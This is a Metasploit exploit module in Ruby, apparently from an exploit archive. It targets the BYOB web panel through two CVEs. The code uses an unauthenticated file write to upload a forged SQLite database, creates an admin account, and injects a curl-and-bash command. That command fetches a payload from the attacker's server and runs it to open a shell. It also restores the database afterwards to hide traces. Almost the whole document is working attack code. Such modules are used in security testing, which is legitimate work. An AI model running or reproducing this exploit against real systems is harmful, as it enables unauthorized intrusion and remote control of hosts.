## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'sqlite3' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'BYOB Unauthenticated RCE via Arbitrary File Write and Command Injection (CVE-2024-45256, CVE-2024-45257)', 'Description' => %q{ This module exploits two vulnerabilities in the BYOB (Build Your Own Botnet) web GUI: 1. CVE-2024-45256: Unauthenticated arbitrary file write that allows modification of the SQLite database, adding a new admin user. 2. CVE-2024-45257: Authenticated command injection in the payload generation page. These vulnerabilities remain unpatched. }, 'Author' => [ 'chebuya', # Discoverer and PoC 'Valentin Lobstein' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-45256'], ['CVE', '2024-45257'], ['URL', 'https://blog.chebuya.com/posts/unauthenticated-remote-command-execution-on-byob/'] ], 'Platform' => %w[unix linux], 'Arch' => %w[ARCH_CMD], 'Targets' => [ [ 'Unix/Linux Command Shell', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'Privileged' => true # tested with cmd/linux/http/x64/meterpreter/reverse_tcp } ] ], 'DisclosureDate' => '2024-08-15', 'DefaultTarget' => 0, 'DefaultOptions' => { 'SRVPORT' => 5000 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('USERNAME', [false, 'Username for new admin', 'admin']), OptString.new('PASSWORD', [false, 'Password for new admin', nil]) ] ) end def primer add_resource('Path' => '/', 'Proc' => proc { |cli, req| on_request_uri_payload(cli, req) }) print_status('Payload is ready at /') end def on_request_uri_payload(cli, request) handle_request(cli, request, payload.encoded) end def handle_request(cli, request, response_payload) print_status("Received request at: #{request.uri} - Client Address: #{cli.peerhost}") case request.uri when '/' print_status("Sending response to #{cli.peerhost} for /") send_response(cli, response_payload) else print_error("Request for unknown resource: #{request.uri}") send_not_found(cli) end end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'keep_cookies' => true }) if res doc = res.get_html_document unless doc.at('title')&.text&.include?('Build Your Own Botnet') || doc.at('meta[name="description"]')&.attr('content')&.include?('Build Your Own Botnet') return CheckCode::Safe('The target does not appear to be BYOB.') end else return CheckCode::Unknown('The target did not respond to the initial check.') end print_good('The target appears to be BYOB.') random_data = Rex::Text.rand_text_alphanumeric(32) random_filename = Rex::Text.rand_text_alphanumeric(16) random_owner = Rex::Text.rand_text_alphanumeric(8) random_module = Rex::Text.rand_text_alphanumeric(6) random_session = Rex::Text.rand_text_alphanumeric(6) form_data = { 'data' => random_data, 'filename' => random_filename, 'type' => 'txt', 'owner' => random_owner, 'module' => random_module, 'session' => random_session } res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => form_data, 'keep_cookies' => true }) if res&.code == 500 return CheckCode::Vulnerable else case res&.code when 200 return CheckCode::Safe when nil return CheckCode::Unknown('The target did not respond.') else return CheckCode::Unknown("The target responded with HTTP status #{res.code}") end end end def get_csrf(path) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, path), 'keep_cookies' => true }) fail_with(Failure::UnexpectedReply, 'Could not retrieve CSRF token') unless res csrf_token = res.get_html_document.at_xpath("//input[@name='csrf_token']/@value")&.text fail_with(Failure::UnexpectedReply, 'CSRF token not found') if csrf_token.nil? csrf_token end def register_user(username, password) csrf_token = get_csrf('register') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'register'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'csrf_token' => csrf_token, 'username' => username, 'password' => password, 'confirm_password' => password, 'submit' => 'Sign Up' }, 'keep_cookies' => true }) if res.nil? fail_with(Failure::UnexpectedReply, 'No response from the server.') elsif res.code == 302 print_good('Registered user!') else fail_with(Failure::UnexpectedReply, "User registration failed: #{res.code}") end end def login_user(username, password) csrf_token = get_csrf('login') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'login'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { 'csrf_token' => csrf_token, 'username' => username, 'password' => password, 'submit' => 'Log In' }, 'keep_cookies' => true }) if res.nil? fail_with(Failure::UnexpectedReply, 'No response from the server.') elsif res.code == 302 print_good('Logged in successfully!') else fail_with(Failure::UnexpectedReply, "Login failed: #{res.code}") end end def generate_malicious_db mem_db = SQLite3::Database.new(':memory:') mem_db.execute <<-SQL CREATE TABLE user ( id INTEGER NOT NULL, username VARCHAR(32) NOT NULL, password VARCHAR(60) NOT NULL, joined DATETIME NOT NULL, bots INTEGER, PRIMARY KEY (id), UNIQUE (username) ); SQL mem_db.execute <<-SQL CREATE TABLE session ( id INTEGER NOT NULL, uid VARCHAR(32) NOT NULL, online BOOLEAN NOT NULL, joined DATETIME NOT NULL, last_online DATETIME NOT NULL, public_ip VARCHAR(42), local_ip VARCHAR(42), mac_address VARCHAR(17), username VARCHAR(32), administrator BOOLEAN, platform VARCHAR(5), device VARCHAR(32), architecture VARCHAR(2), latitude FLOAT, longitude FLOAT, new BOOLEAN NOT NULL, owner VARCHAR(120) NOT NULL, PRIMARY KEY (uid), UNIQUE (uid), FOREIGN KEY(owner) REFERENCES user (username) ); SQL mem_db.execute <<-SQL CREATE TABLE payload ( id INTEGER NOT NULL, filename VARCHAR(34) NOT NULL, operating_system VARCHAR(3), architecture VARCHAR(14), created DATETIME NOT NULL, owner VARCHAR(120) NOT NULL, PRIMARY KEY (id), UNIQUE (filename), FOREIGN KEY(owner) REFERENCES user (username) ); SQL mem_db.execute <<-SQL CREATE TABLE exfiltrated_file ( id INTEGER NOT NULL, filename VARCHAR(4096) NOT NULL, session VARCHAR(15) NOT NULL, module VARCHAR(15) NOT NULL, created DATETIME NOT NULL, owner VARCHAR(120) NOT NULL, PRIMARY KEY (id), UNIQUE (filename), FOREIGN KEY(owner) REFERENCES user (username) ); SQL mem_db.execute <<-SQL CREATE TABLE task ( id INTEGER NOT NULL, uid VARCHAR(32) NOT NULL, task TEXT, result TEXT, issued DATETIME NOT NULL, completed DATETIME, session VARCHAR(32) NOT NULL, PRIMARY KEY (id), UNIQUE (uid), FOREIGN KEY(session) REFERENCES session (uid) ); SQL base64_data = Tempfile.open('database.db') do |file| src_db = SQLite3::Database.new(file.path) backup = SQLite3::Backup.new(src_db, 'main', mem_db, 'main') backup.step(-1) backup.finish binary_data = File.binread(file.path) Rex::Text.encode_base64(binary_data) end base64_data end def upload_database_multiple_paths successful_paths = [] filepaths = [ '/proc/self/cwd/buildyourownbotnet/database.db', '/proc/self/cwd/../buildyourownbotnet/database.db', '/proc/self/cwd/../../../../buildyourownbotnet/database.db', '/proc/self/cwd/instance/database.db', '/proc/self/cwd/../../../../instance/database.db', '/proc/self/cwd/../instance/database.db' ] filepaths.each do |filepath| form_data = { 'data' => @encoded_db, 'filename' => filepath, 'type' => 'txt', 'owner' => Faker::Internet.username, 'module' => Faker::App.name.downcase, 'session' => Faker::Alphanumeric.alphanumeric(number: 8) } res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'file', 'add'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => form_data, 'keep_cookies' => true ) successful_paths << filepath if res&.code == 200 end successful_paths end def on_new_session(session) if session.type == 'meterpreter' binary_content = Rex::Text.decode_base64(@encoded_db) print_status('Restoring the database via Meterpreter to avoid leaving traces.') successful_restore = false @successful_paths.each do |remote_path| remote_file = session.fs.file.new(remote_path, 'wb') remote_file.syswrite(binary_content) remote_file.close successful_restore = true end if successful_restore print_good('Database has been successfully restored to its clean state.') else print_error('Failed to restore the database on all attempted paths, but proceeding with the exploitation.') end else print_error('This is not a Meterpreter session. Cannot proceed with database reset, but exploitation continues.') end end def exploit # Start necessary services and perform initial setup start_service primer # Define or generate admin credentials username = datastore['USERNAME'] || 'admin' password = datastore['PASSWORD'] || Rex::Text.rand_text_alphanumeric(12) # Generate and upload the malicious SQLite database print_status('Generating malicious SQLite database.') @encoded_db = generate_malicious_db @successful_paths = upload_database_multiple_paths if @successful_paths.empty? fail_with(Failure::UnexpectedReply, 'Failed to upload the database from all known paths') else print_good("Malicious database uploaded successfully to the following paths: #{@successful_paths.join(', ')}") end # Register the new admin user print_status("Registering a new admin user: #{username}:#{password}") register_user(username, password) # Log in with the newly created admin user print_status('Logging in with the new admin user.') login_user(username, password) # Prepare the malicious payload and inject it via command injection print_status('Injecting payload via command injection.') uri = get_uri.gsub(%r{^https?://}, '').chomp('/') random_filename = ".#{Rex::Text.rand_text_alphanumeric(rand(3..5))}" malicious_filename = "curl$IFS-k$IFS@#{uri}$IFS-o$IFS#{random_filename}&&bash$IFS#{random_filename}" payload_data = { 'format' => 'exe', 'operating_system' => "nix$(#{malicious_filename})", 'architecture' => 'amd64' } # Send the command injection request send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'api', 'payload', 'generate'), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => payload_data, 'keep_cookies' => true }, 5) # Keep the web server running to maintain the service service.wait end end
{{ x.nick }}
| Date:{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1 {{ x.comment }} |